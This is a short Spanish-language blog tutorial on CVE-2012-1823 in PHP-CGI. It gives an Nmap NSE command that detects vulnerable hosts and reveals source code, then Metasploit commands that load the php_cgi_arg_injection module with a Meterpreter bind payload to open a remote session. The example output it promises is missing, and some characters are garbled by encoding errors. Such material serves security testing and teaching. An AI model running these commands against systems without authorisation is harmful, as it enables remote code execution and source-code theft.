Detectando y explotando instalaciones PHP-CGI vulnerables

Al inicio de este mes se publicó una vulnerabilidad crática para PHP que afecta a instalaciones que usan el interprete CGI (http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/). Esta vulnerabilidad permite ver el código fuente de aplicaciones y ejecutar código remotamente con ayuda de otras directivas de PHP.

Detección

Para detectar instalaciones vulnerables usaremos el script NSE “http-cve2012-1823â€:
$nmap -p80 –script http-cve2012-1823 target

En caso de ser una instalación vulnerable Nmap regresará algo similar a esto:

Para obtener el código fuente de otra URI se debe usar el argumento “uriâ€:
$nmap -p80 –script http-cve2012-1823 –script-args uri=/login.php objetivo

Aquí podrán encontrar un video del proceso de detección de instalaciones PHP-CGI vulnerables

Este script fue enviado al repositorio oficial como revisión “28545â€. Pero si no cuentan con el script aún, lo pueden descargar directamente desde aquá:
http://seclists.org/nmap-dev/2012/q2/att-239/http-vuln-cve2012-1823.nse

Explotación

El proyecto Metasploit ha publicado un módulo para explotación de esta vulnerabilidad. Para explotar la vulnerabilidad con ayuda de metasploit:

> use exploit/multi/http/php_cgi_arg_injection
> set rhost objetivo
> set PAYLOAD php/meterpreter/bind_tcp
> exploit

Si es explotable se abrirá la sesión de meterpreter:

Aquí podrán encontrar un video del proceso de explotación de instalaciones PHP-CGI vulnerables

Referencias

Nmap
Metasploit
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/